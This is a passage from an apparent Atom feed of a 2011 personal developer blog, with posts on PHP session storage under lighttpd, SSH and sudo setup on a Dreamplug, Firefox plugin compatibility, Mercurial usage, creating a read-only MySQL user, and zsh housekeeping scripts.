its files accordingly. It will notify you of any errors it might find, and even
print a &lt;code&gt;diff&lt;/code&gt; of the files changed.&lt;/p&gt;
&lt;h2&gt;One last thing&lt;/h2&gt;
&lt;p&gt;I&#39;ve lost 30mn checking and re-checking my puppet file because my &lt;code&gt;php.ini&lt;/code&gt;
changes weren&#39;t updated. In fact, I just forgot to reload &lt;code&gt;lighttpd&lt;/code&gt;...&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>PHP session on disk with lighttpd, and write access</title>
    <link href="https://blog.pixelastic.com/2011/08/26/php-session-disk-lighttpd-write-access/"/>
    <updated>2011-08-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/26/php-session-disk-lighttpd-write-access</id>
    <content type="html">&lt;p&gt;On HappyLife, we used to use Memcache to handle the php sessions. We discovered
a while back after much trouble that Memcache might not have been the best
solution for sessions on a high traffic site. But this will be the subject of
another post.&lt;/p&gt;
&lt;p&gt;Anyway, I switched back to classical session, stored on disk.&lt;/p&gt;
&lt;p&gt;Here&#39;s the relevant &lt;code&gt;php.ini&lt;/code&gt; config&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[Session]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;session.save_handler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;session.save_path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/tmp/php&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/tmp/php&lt;/code&gt; should be writable by &lt;code&gt;www-data&lt;/code&gt;, so&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; chown&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; www-data:www-data&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /tmp/php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #11: First steps with my Dreamplug</title>
    <link href="https://blog.pixelastic.com/2011/08/24/working-wednesday-11-steps-dreamplug/"/>
    <updated>2011-08-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/24/working-wednesday-11-steps-dreamplug</id>
    <content type="html">&lt;p&gt;A while back, I ordered a Dreamplug. It&#39;s a micro computer more or less the size
of a hard drive. It uses very little electricity, has ethernet, usb, sata and sd
ports as well as bluetooth and wifi connectivity.&lt;/p&gt;
&lt;p&gt;I wanted one to primarily work as a git and mercurial server to host my repos,
as well as host a few websites I might be working on. As it&#39;s not the more
powerful of device and will be using my home ADSL connection, it&#39;s also a good
fit for testing web performance optimisations.&lt;/p&gt;
&lt;p&gt;Actually, I have a lot of ideas for this plug (ssh tunnel, dropox-like server,
etc).&lt;/p&gt;
&lt;h2&gt;First, let&#39;s establish a connection&lt;/h2&gt;
&lt;p&gt;To do any of that, you first have to log into your device. This first step might
have been the one that caused me the much trouble.&lt;/p&gt;
&lt;p&gt;I simply wanted to connect to the plug through SSH. I didn&#39;t want to plug it to
my router because it would then have emit an open wifi network. Instead, I
wanted to access it through a simple ethernet cable.&lt;/p&gt;
&lt;p&gt;To do that I had to plug the Ethernet cable on the second slot (the one the
closer to the lights) on the plug, then turn it on. I didn&#39;t manage to connect
with the cable in the other plug nor if I plugged it after turning the device
on.&lt;/p&gt;
&lt;p&gt;What took me a while to figure is that the Dreamplug have its own ip address:
&lt;code&gt;10.0.0.1&lt;/code&gt;. To enable transfer between your host and the plug, you have to set a
fixed ip address to your ethernet (mine was &lt;code&gt;eth0&lt;/code&gt;)&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ifconfig&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; eth0&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 10.0.0.2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I chose &lt;code&gt;10.0.0.2&lt;/code&gt; because it&#39;s close to the Dreamplug address and I will
remember it better, but you can actually choose anything you want, it absolutely
does not matter.&lt;/p&gt;
&lt;h2&gt;Connect through ssh&lt;/h2&gt;
&lt;p&gt;Once the first step is done, you are now able to connect to the device through
SSH.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; root@10.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The default password is &lt;code&gt;nosoup4u&lt;/code&gt;. I chose to keep it for now, as I&#39;ll have to
type it a lot, but I&#39;ll change it once everything is installed.&lt;/p&gt;
&lt;p&gt;First thing you should do is create a new user. Using &lt;code&gt;root&lt;/code&gt; for the day to day
activities is a bad habit.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; adduser&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pixelastic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&#39;ll be prompted for password and other misc informations. Once done, we will
give sudo power to this user.&lt;/p&gt;
&lt;p&gt;On others Ubuntu machines, I usually do a &lt;code&gt;adduser pixelastic admin&lt;/code&gt; or
&lt;code&gt;adduser pixelastic sudo&lt;/code&gt;, but this didn&#39;t work here. There wasn&#39;t even an
&lt;code&gt;admin&lt;/code&gt; group, and adding to &lt;code&gt;sudo&lt;/code&gt; didn&#39;t seem to change anything.&lt;/p&gt;
&lt;p&gt;Instead, I had to edit the &lt;code&gt;/etc/sudoers&lt;/code&gt; file, using &lt;code&gt;visudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&#39;ve never used &lt;code&gt;vi&lt;/code&gt; before, press &lt;code&gt;i&lt;/code&gt; to enter edit mode, and &lt;code&gt;vi&lt;/code&gt; will
acts as a common editor. Press &lt;code&gt;Esc&lt;/code&gt; when you&#39;ve finished, then &lt;code&gt;:x&lt;/code&gt; to save and
exit&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I added a new line just below the one starting with &lt;code&gt;root&lt;/code&gt; and copied it, simply
by changing the user name.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    ALL=&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;ALL&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ALL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;pixelastic&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ALL=&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;ALL&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ALL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your new user should now have the sudo powers.&lt;/p&gt;
&lt;p&gt;Unfortunatly, on my build one more thing was missing. It might not be the case
on your plug, but we&#39;d better check.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; which&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sudo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; /usr/bin/sudo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ls&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /usr/bin/sudo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; -rwxr-xr-x&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 114976&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 2011-02-14&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 08:08&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /usr/bin/sudo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check the permissions, if you have this output, then something is wrong. The
&lt;code&gt;sudo&lt;/code&gt; executable should have the &lt;code&gt;s&lt;/code&gt; permissions, otherwise it won&#39;t work.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; u+s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /usr/bin/sudo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, we can logout from the &lt;code&gt;root&lt;/code&gt; session, and login back with our new user&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pixelastic@10.0.0.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pwd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; /home/pixelastic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What next?&lt;/h2&gt;
&lt;p&gt;Now, one last sensible thing to do is to change the root password for something
stronger, and even disable login as &lt;code&gt;root&lt;/code&gt; through ssh. To do that, simply edit
the &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; file and set &lt;code&gt;PermitRootLogin&lt;/code&gt; to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You could also add your keys to the plug to avoid typing your password, install
your softs, and link the plug to your router to make it accessible from the
outside.&lt;/p&gt;
&lt;p&gt;I plan to replace Ubuntu for Debian on my Dreamplug, I&#39;ll post about that later.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Keeping your plugins with any new Firefox version</title>
    <link href="https://blog.pixelastic.com/2011/08/19/keeping-plugins-firefox-version/"/>
    <updated>2011-08-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/19/keeping-plugins-firefox-version</id>
    <content type="html">&lt;p&gt;The new Firefox cycle version is such that you might lose all your beloved
plugins on each new release.&lt;/p&gt;
&lt;p&gt;Fortunatly, most of the plugins still work even when the version updates, so you
can still use them.&lt;/p&gt;
&lt;p&gt;The easiest way to automatically enable them all is to update a boolean value in
&lt;code&gt;about:config&lt;/code&gt; that will tell Firefox to not disable older plugins.&lt;/p&gt;
&lt;p&gt;The key changes for each version, but is called
&lt;code&gt;extensions.checkCompatibility.X.Y&lt;/code&gt; where &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; are the version number
(like &lt;code&gt;X&lt;/code&gt;=7 and &lt;code&gt;Y&lt;/code&gt;=0 for the 7.0 release).&lt;/p&gt;
&lt;p&gt;Create the key (as a boolean value), and set it to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #10: Mercurial improved</title>
    <link href="https://blog.pixelastic.com/2011/08/17/working-wednesday-10-mercurial-improved/"/>
    <updated>2011-08-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/17/working-wednesday-10-mercurial-improved</id>
    <content type="html">&lt;p&gt;Today I enjoyed the nice blue sky and moved to the park at the end of my street
to finish reading the Mercurial guide.&lt;/p&gt;
&lt;p&gt;I skipped the last chapters about patches and queues. I know this would be
useful, but I&#39;d rather get back to them when I&#39;ll need them instead of try them
without any real world example.&lt;/p&gt;
&lt;h2&gt;Tweaking Mercurial&lt;/h2&gt;
&lt;p&gt;I updated my &lt;code&gt;.hgrc&lt;/code&gt; to configure it as best as I could.&lt;/p&gt;
&lt;p&gt;I set &lt;code&gt;vimdiff&lt;/code&gt; to handle the conflicted merge. &lt;code&gt;vim&lt;/code&gt; is quite hard to get (but
it is coming easier the more you use it), but it seems so powerful that I&#39;m
willing to spend some time learning it.&lt;/p&gt;
&lt;p&gt;I&#39;ve also added a &lt;code&gt;cm&lt;/code&gt; alias to &lt;code&gt;commit -Am&lt;/code&gt;. This basically is the same as
calling &lt;code&gt;hg addremove; hg commit&lt;/code&gt; which I happen to do all the time before.&lt;/p&gt;
&lt;p&gt;I&#39;ve create two simple styles and matching templates for my new two aliases
&lt;code&gt;peek&lt;/code&gt; and &lt;code&gt;hist&lt;/code&gt; that repectively display a peek at the last 4 commits, and
display the latest 10 commits in history in a concise way. I still have to
manage to find how I could add coloring to those.&lt;/p&gt;
&lt;p&gt;I&#39;ve also added a &lt;code&gt;discardlocal&lt;/code&gt; alias to remove all local commit and get the
repo back as it is on the remote repo. I never actually had to use it, but I
found the code on Stack Overflow and thought I might need it later.&lt;/p&gt;
&lt;p&gt;I finally wrote a custom &lt;code&gt;resurect&lt;/code&gt; method. It will bring back a deleted file
(obviously, the file needs to be tracked by hg). I simply find the changeset
that deleted the file, and then revert the file to the parent changeset of that
changeset. I might post the exact code later as I&#39;m quite happy with the result.&lt;/p&gt;
&lt;h2&gt;A note on laptop screens&lt;/h2&gt;
&lt;p&gt;Also, I&#39;ve spent the last few weeks working on my netbook when at home. This is
very tiny thing, the screen is really small (compared to my two 21&amp;quot; at work for
example). But (and I was the first surprised of it), you actually get accustomed
to it after a while.&lt;/p&gt;
&lt;p&gt;Now that I&#39;m writing this post on my 13&amp;quot; other laptop, I feel like it&#39;s huge.
The more I use the netbook, the more I like it. I didn&#39;t quite use it back when
it was running Windows because it was way too slow. Now with Ubuntu on it, it&#39;s
a whole new story!&lt;/p&gt;
&lt;h2&gt;Next week&lt;/h2&gt;
&lt;p&gt;I still have some zsh to learn. I still don&#39;t quite get the quote and double
quote differences, and a few other quirks (arithmetic, arrays, etc).&lt;/p&gt;
&lt;p&gt;I&#39;ve kinda dropped the Rails tutorial. I liked it. Really, I liked it a lot. But
I&#39;m not sure I want to start again learning a framework for making websites.
I&#39;ve made a living doing websites for clients, I still do partly that today, and
I&#39;d like to change.&lt;/p&gt;
&lt;p&gt;I have a lot of personnal project on my mind that I&#39;d like to achieve. Almost
all of them could be achieved using the traditional way of making websites that
both cake and Rails would allow. But one of them might need another way to look
at things. And for this one, I might better need node.&lt;/p&gt;
&lt;p&gt;So.. maybe I&#39;ll start learning node next week. This is actually something I&#39;d
love to do, so this might happen. I&#39;m currently refactoring the JS code of my
work app in Backbone at the moment, so I guess there&#39;s no perfect time for some
JS practice.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #9: Mercurial</title>
    <link href="https://blog.pixelastic.com/2011/08/11/working-wednesday-9-mercurial/"/>
    <updated>2011-08-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/11/working-wednesday-9-mercurial</id>
    <content type="html">&lt;p&gt;&lt;em&gt;I&#39;m feeling like I&#39;m getting more and more behind schedule for what I intended
to do at first. I still haven&#39;t tried Rails more than that and have gone on
different learning side projects.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I&#39;ve been reading the&lt;/em&gt; [Mercurial: Definite Guide](http://hgbook.red-
bean.com/read/) the past few days to get a correct grasp of the soft.&lt;/p&gt;
&lt;p&gt;I&#39;ve been using Mercurial for the pas two years, but through a GUI and without
using any &amp;quot;advanced&amp;quot; features. I never branched a project, and always worked
alone.&lt;/p&gt;
&lt;h2&gt;Commands&lt;/h2&gt;
&lt;p&gt;Now that I&#39;m working on a Linux machine every day, I can use hg through the
command line.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hg commit -Am &amp;quot;commit message&amp;quot;&lt;/code&gt; is the same as
&lt;code&gt;hg addremove; hg commit -m &amp;quot;commit message&amp;quot;.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hg rollback&lt;/code&gt; will remove the last local commit. Useful if you forgot files in
the commit, or if you inserted a typo in your commit message&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hg revert&lt;/code&gt; can revert a file or set of files to the state they were at the last
commit. This can also cancel a &lt;code&gt;hg add&lt;/code&gt; or &lt;code&gt;hg remove&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hg backout&lt;/code&gt; can &amp;quot;forget&amp;quot; a commit in the history. It will not really forget the
commit (ie. will not let you alter the history). Instead, it will create a new
commit where the specified changeset is removed (through a merge). It can easily
backout the tip, but may involve more merge work if we want to backout an old
changeset.&lt;/p&gt;
&lt;h2&gt;Automation&lt;/h2&gt;
&lt;p&gt;Also, I&#39;ve learned about two great tools of Mercurial.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;hg bisect&lt;/code&gt; let you isolate a specified commit in your history where you
introduced a specific bug. You write a piece of code that, given a changeset,
returns &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; based on the bug presence, and &lt;code&gt;hg bisect&lt;/code&gt; will
cleverly scan the history to find the revision that introduced the bug.&lt;/p&gt;
&lt;p&gt;hooks where also very interesting. One can script automatic command on specific
hg command like &lt;code&gt;commit&lt;/code&gt;, &lt;code&gt;pull&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt;. Or even before those commande to
refuse the command if something does not work as expected.&lt;/p&gt;
&lt;p&gt;The classical examples where running a build process after a commit, refusing a
commit if no bug id where specified, or if the tests didn&#39;t pass. Another use
case would be to push changes to a remote server on commit.&lt;/p&gt;
&lt;h2&gt;Git&lt;/h2&gt;
&lt;p&gt;Why am I learning Mercurial while all the cool guys are using git?&lt;/p&gt;
&lt;p&gt;Well, I&#39;ve read a lot of papers comparing hg to git. What I&#39;ve read the more is
that git is an awesome toolbox that lets you do whatever you want with your
version control, through its 100+ tools.&lt;/p&gt;
&lt;p&gt;On the other hand, Mercurial is far easier to learn and has built-in command for
the day to day work. As I was already quite familiar with Mercurial, I stick
with it, but know that I&#39;ll learn git also eventually.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Creating a readonly mysql user</title>
    <link href="https://blog.pixelastic.com/2011/08/05/creating-readonly-mysql-user/"/>
    <updated>2011-08-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/05/creating-readonly-mysql-user</id>
    <content type="html">&lt;p&gt;I wanted to give access to a database to a colleague, so he can connect and
extract some useful stats from our database.&lt;/p&gt;
&lt;p&gt;As I didn&#39;t want to give him nor the root, nor my access nor even an access with
writing permission to avoid potential issues, I created a readonly user.&lt;/p&gt;
&lt;p&gt;First, connect to the mysql server:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;mysql&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --user=root&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -p&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And type your password when asked&lt;/p&gt;
&lt;p&gt;Now that you are in the mysql prompt, create the &#39;readonly&#39; user and give him
&lt;code&gt;SELECT&lt;/code&gt; permission on all tables&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;CREATE&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; USER&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;readonly&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&#39;@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; IDENTIFIED &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;BY&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;your_password&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;GRANT&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; SELECT&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ON&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; TO&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;readonly&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also note that once connected with root, you can see the list of users by
running:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; host,user,pass &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; mysql&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing fancy here, everything was found after a few minutes of googling.&lt;/p&gt;
&lt;p&gt;Also, if you ever need to delete the user:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;DROP&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; USER&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;readonly&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;%&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #8: Custom zsh scripts for housekeeping</title>
    <link href="https://blog.pixelastic.com/2011/08/03/working-wednesday-8-custom-zsh-scripts-housekeeping/"/>
    <updated>2011-08-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/08/03/working-wednesday-8-custom-zsh-scripts-housekeeping</id>
    <content type="html">&lt;p&gt;I made a break of the Ruby/Rails learning this week. Instead I learned a bit
more about the basic Linux command, and made a few scripts to help me in my day
to day work (and fun) with my Linux environment.&lt;/p&gt;
&lt;p&gt;I currently use two laptops. One is a tiny netbook while the other a Dell XPS. I
mostly use the XPS for everything work related (like posting this), while the
netbook is dedicated to casual use: browsing, playing, etc.&lt;/p&gt;
&lt;p&gt;Last week, during my vacations, I only took the netbook with me, and while not
strictly speaking working on it I still had to code a little bit. I installed
&lt;code&gt;ScummVM&lt;/code&gt;, &lt;code&gt;CortixTH&lt;/code&gt; and managed to run Carmageddon 2 under &lt;code&gt;wine&lt;/code&gt;. I also
downloaded and tried a few old emulator games on my
&lt;a href=&quot;http://en.wikipedia.org/wiki/Dingoo_A320&quot;&gt;Dingoo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As you may have guessed, I wrote a bunch of scripts during that week to help me
in some of the more tedious aspects of this task.&lt;/p&gt;
&lt;h2&gt;Dingoo deployment&lt;/h2&gt;
&lt;p&gt;Downloading roms, copying them to the Dingoo, and then testing the games to make
sure they are working was tedious. I wrote a little script that automatically
mount the Dingoo when plugged to the computer, and copy my games to it, removing
old version along the way while still keeping my saved games.&lt;/p&gt;
&lt;p&gt;I had to parse &lt;code&gt;dmesg&lt;/code&gt; (thanks to &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt; and &lt;code&gt;sed&lt;/code&gt;) as well as use
&lt;code&gt;rsync&lt;/code&gt; for the copy.&lt;/p&gt;
&lt;h2&gt;Sansa Clip cleaning&lt;/h2&gt;
&lt;p&gt;I also wrote a simple script to clean my
&lt;a href=&quot;http://anythingbutipod.com/2009/08/sandisk-sansa-clip-plus-review/&quot;&gt;Sansa Clip&lt;/a&gt;
of all the useless files I had put on it. As I only have a text screen, I don&#39;t
